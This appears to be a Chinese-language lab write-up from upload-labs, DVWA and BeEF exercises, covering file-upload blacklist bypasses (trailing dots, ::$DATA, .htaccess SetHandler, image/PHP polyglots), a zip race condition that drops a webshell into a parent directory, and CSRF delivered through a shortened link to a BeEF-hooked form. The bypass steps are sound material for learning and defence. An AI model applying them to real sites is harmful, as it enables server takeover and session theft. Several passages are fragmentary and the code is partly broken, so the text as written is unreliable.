upload-labs靶场中,我们可以查看服务端是如何对文件数据进行检验的$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) { // $UPLOAD_ADDR 为存储上传文件的文件夹,需提前创建
$deny_ext = array('.asp','.aspx','.php','.jsp'); // 采用黑名单,上传文件的后缀名不能名单中的后缀
$file_name = trim($_FILES['upload_file']['name']); // 获取上传文件名,并删除两端的空白符
$file_name = deldot($file_name); // 删除文件名末尾的点 deldot为upload-labs的自定义函数
$file_ext = strrchr($file_name, '.'); // 截取文件名中.及.以后的字符
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空,最终文件后缀
if(!in_array($file_ext, $deny_ext)) { // 判断文件后缀是否在白名单中
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) { // 将上传的文件从临时位置移动到目的文件夹中
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
trim( string $str ):去除字符串首尾处的空白字符(或者其他字符)
strrchr( string $haystack, mixed $needle):返回 字符串中以 needle 的最后的出现位置开始,直到字符串末尾。
strtolower( string $string):将字符串转化为小写,类似的还有strtoupper(),将字符串转化为大写、ucfirst():将字符串的首字母转换为大写
str_ireplace(mixed $search, mixed $replace, mixed $subject ),函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换(忽略大小写)之后的结果。

shell.php 的木马,在php程序判断时文件后缀为:.php ,如果服务端又采取的是黑名单限制,.php 很有可能就让绕过了黑名单,进入操作系统。.,会忽略;如果我们上传一个名为shell.php.的木马,php截取后缀是按照点最后的位置进行截取的,所以得到的结果为.,如果服务端又采取的是黑名单限制,同样很有可能绕过限制.Php=.php::$DATA:在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名shell.php . 的形式'.asp','.aspx','.php','.jsp'后缀,如果在apache下开启了如下配置,服务端会将php3、phtml等文件名当php文件执行
.htaccess文件,该文件提供了针对目录改变配置的方法,在.htaccess文件中添加如下内容并上传,该配置的意思是将文件名字含有png的文件都当作php文件处理<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
copy 图片.jpg/b + 木马.php/a 木马.jpg
imagecreatefromjpeg(图片)对上传的图片进行处理,该函数会创建一个新图像,虽然该图像表面看起来没变化,但内部的结构已经被打乱,即使图片中有木马语句,也很有可能因为重新排列而消失<body>
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" value=""/>
<input type="submit" name="submit" value="upload"/>
form>
body>
extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
// 将zip文件解压到用户目录下,如果文件重名则覆盖
exit("解压失败");
}
check_dir($temp_dir); // 检查用户目录下的文件
exit('上传成功!');
} else {
move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
check_dir($temp_dir);
exit('上传成功!');
}
}else {
exit('仅允许上传zip、jpg、gif、png文件!');
}
代码中可以看到限制了文件后缀,但允许上传压缩文件,先上传一个包含web.php的压缩包测试

查看本地目录,发现只剩下了图片,php文件被删除

审计代码,发现函数check_file只检查了目录下的文件,那上传一个目录会怎么样

警告如下,应该是因为我们上传的目录2没有后缀,所以报错,可以将目录命名为2.png,这样就不会报错了


查看结果,果然上传成功
对check_dir函数进行完善,先判断是否是目录,如果是,递归删除
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
web.php如下: file_put_contents("../shell.php","");?>
check_dir会检查当前目录下所有的文件,所以将木马文件放到上级目录,防止被删
burpsite的intruter模块持续的进行上传文件和访问上传的web.php文件,但我在测试用发现,我使用burpsite上传压缩包时,会改变压缩包的内容,导致服务端解压失败,于是,我只使用burp爆破web.php文件,我通过重发器手动上传压缩文件




$temp_dir = $dir.md5(time(). rand(1000,9999)).'/';


if ($ext == 'zip') {
$zip = new ZipArchive;
if(!$zip->open($file['tmp_name'])) {
echo "fail";
return false;
}
if(!$zip->extractTo($temp_dir)) {
exit("fail to extract");
}
check_dir($temp_dir);
exit('上传成功!');
} else {
move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
check_dir($temp_dir);
exit('上传成功!');
}
发现解压并没有出错,这也说明ZipArchive的容忍度比较高。
又如何让ZipArchive出错呢?最简单的方法,我们可以在文件名上下功夫。比如,Windows下不允许文件名中包含冒号(:)我们就可以在010editor中将18.png的deFileName属性的值改成“18.pn:”。

上传测试,页面报错,查看存储目录,成功



http://www.examplebank.com/withdrawaccount=AccoutName&amount=1000&for=PayeeName 
执行我们写入的js代码

DVWA(Win),DVWA靶场服务器,也是用户所在,IP地址为:192.168.204.1
Beef(Kali):,获取cookie的xss平台,同时存放构造的而已表单,IP地址为:192.168.204.12
首先构造一个恶意表单,可以通过CSRFTester 工具自动生成,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互。
设置浏览器的代理服务器为127.0.0.1:8008,我所使用的浏览器为Firefox

开启 CSRFTester 的流量记录功能。之后 CSRFTester 就会抓取到输入name的数据包,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量

开启beef-XSS,在DVWA中输入name, 让CSRFTester 就会抓取到输入name的数据包,并生成表单


查看生成的表单,我修改了form的action,input的value修改为

将表单放在kali服务器上,并生成一个访问表单的短链接,生成短链接的网址https://www.s-3.cn/


由于我在生成表单的时候提交了一次,先清除kali的beef-xss记录

然后在win下访问生成的短链接


beef 中就能看到上线的主机了
